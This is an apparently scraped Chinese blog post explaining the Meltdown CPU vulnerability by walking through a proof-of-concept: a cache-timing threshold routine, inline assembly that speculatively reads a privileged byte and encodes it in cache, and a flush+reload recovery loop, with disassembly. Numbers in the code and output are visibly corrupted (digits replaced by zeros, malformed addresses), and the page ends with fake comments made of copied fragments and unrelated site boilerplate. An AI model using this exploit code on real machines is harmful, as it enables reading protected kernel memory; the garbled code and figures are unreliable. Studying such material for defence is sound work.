对CPU漏洞Meltdown的理解
对CPU漏洞Meltdown的理解
步骤1
先获取cached和uncached的读取时间,根据这个两个时间设置一个阀值
下面的代码是循环ESTIMATE_CYCLES次后取读取时间的平均值,再计算阀值
代码语言:javascript代码运行次数:0运行复制#define ESTIMATE_CYCLES 1000000
static void
set_cache_hit_threshold(void)
{
long cached, uncached, i;
if (0) {
cache_hit_threshold = 80;
return;
}
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);
for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
_mm_clflush(target_array);
uncached += get_access_time(target_array);
}
cached /= ESTIMATE_CYCLES;
uncached /= ESTIMATE_CYCLES;
cache_hit_threshold = mysqrt(cached * uncached);
printf("cached = %ld, uncached = %ld, threshold %d\n",
cached, uncached, cache_hit_threshold);
}
这是某次运行时候计算的结果
cached = 0, uncached = 416, threshold 111
可以看到 uncached的读取实践明显高于cached,我们可以根据有无cached进行推测一些东西
步骤2
步骤2是将我们想要读取的值读取到eax(实际是al,编译后查看汇编是movzx eax, byte ptr [rdi],其中rdi就是我们要读取的addr),这时候重要的操作来了,我们获取到的al只是作为target数组的索引(这里的target即target_array数组),由于推测执行和乱序执行,target+ rax * 4096这个地址的值就被缓存下来了(这是重点)
关键代码
代码语言:javascript代码运行次数:0运行复制".rept 00\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t" //这00个指令我试过删掉也是可以的,不影响
"movzx (%[addr]), %%eax\n\t" // 将要泄露的值读取一个byte到eax(这是会权限检查,比较耗资源,而乱序执行和推测执行使得cpu从addr获取到值赋值给eax后,不等待检查结束就执行下面的条指令)
"shl $12, %%rax\n\t" // 将rax * 4096
"jz 1b\n\t" // 如果是0就跳回开头的循环处了
"movzx (%[target], %%rax, 1), %%rbx\n" //之后将target+ rax * 4096给到rbx
为了方便,也贴一下ida看到的汇编代码
代码语言:javascript代码运行次数:0运行复制......
......(这个add指令共00条)
.text:00000000004012A add rax, 141h
.text:00000000004010 add rax, 141h
.text:00000000004016 add rax, 141h
.text:0000000000401C add rax, 141h
.text:000000000040142 add rax, 141h
.text:000000000040148 add rax, 141h
.text:00000000004014E movzx eax, byte ptr [rdi]
.text:000000000040151 shl rax, 0Ch
.text:000000000040155 jz loc_400C46
.text:00000000004015B movzx rbx, byte ptr [rdx+rax]
步骤
这时候我们再尝试测试读取target+ i * 4096,一旦发现这个读取时间小于阀值(threshold),那么就证明这时候的i就是之前读取出来的al的值了,即从侧面知道了之前读取的值了
作者代码如下:
代码语言:javascript代码运行次数:0运行复制static int cache_hit_threshold;
static int hist[VARIATS_READ];
void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < VARIATS_READ; i++) {
mix_i = ((i * 167) + 1) & 255;
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);
if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}
我改成直接读取&target_array[i * TARGET_SIZE];也是可以的,修改如下
代码语言:javascript代码运行次数:0运行复制void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < VARIATS_READ; i++) {
//mix_i = ((i * 167) + 1) & 255;
mix_i = i;
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);
if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}
其中mix_i就是真正泄露出来的值,而hist[mix_i]是所谓的分数,即这个值命中了几次,因为推测执行和乱序执行不一定每次都能执行到那里了,所以对于读取每一个byte,都循环执行了1000次,当然每次执行前都要将target_arrayflush掉
代码语言:javascript代码运行次数:0运行复制for (i = 0; i < 256; i++)
_mm_clflush(&target_array[i * 4096]);
所以要提高泄露数据的成功率,可以增加读取每个byte时候的循环次数
下面可以看到1000次成功0到5次
references
.c
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。 原始发表:2018-01-09,如有侵权请联系 cloudcommunity@tencent 删除漏洞数组cputargettime#感谢您对电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格的认可,转载请说明来源于"电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格
推荐阅读
留言与评论(共有 14 条评论) |
本站网友 寻医问药 | 27分钟前 发表 |
141h .text | |
本站网友 十万个为什么电子书 | 27分钟前 发表 |
uncached | |
本站网友 秦火火 | 14分钟前 发表 |
00000000004010 add rax | |
本站网友 脉动广告联盟 | 7分钟前 发表 |
byte ptr [rdx+rax]步骤这时候我们再尝试测试读取target+ i * 4096 | |
本站网友 佰草集清肌养颜太极泥 | 3分钟前 发表 |
141h .text | |
本站网友 新生儿喝什么奶粉好 | 16分钟前 发表 |
00000000004015B movzx rbx | |
本站网友 喝水死 | 1分钟前 发表 |
修改如下代码语言:javascript代码运行次数:0运行复制void check(void) { int i | |
本站网友 小户型装修图片 | 13分钟前 发表 |
分享自作者个人站点/博客 | |
本站网友 血管性血友病 | 14分钟前 发表 |
也贴一下ida看到的汇编代码代码语言:javascript代码运行次数:0运行复制...... ......(这个add指令共00条) .text | |
本站网友 亚马逊网站 | 9分钟前 发表 |
可以增加读取每个byte时候的循环次数下面可以看到1000次成功0到5次references .c本文参与 腾讯云自媒体同步曝光计划 | |
本站网友 小则 | 22分钟前 发表 |
我们获取到的al只是作为target数组的索引(这里的target即target_array数组) | |
本站网友 视频编辑器 | 4分钟前 发表 |
%%eax\n\t" // 将要泄露的值读取一个byte到eax(这是会权限检查 | |
本站网友 海德堡花园 | 3分钟前 发表 |
141h .text |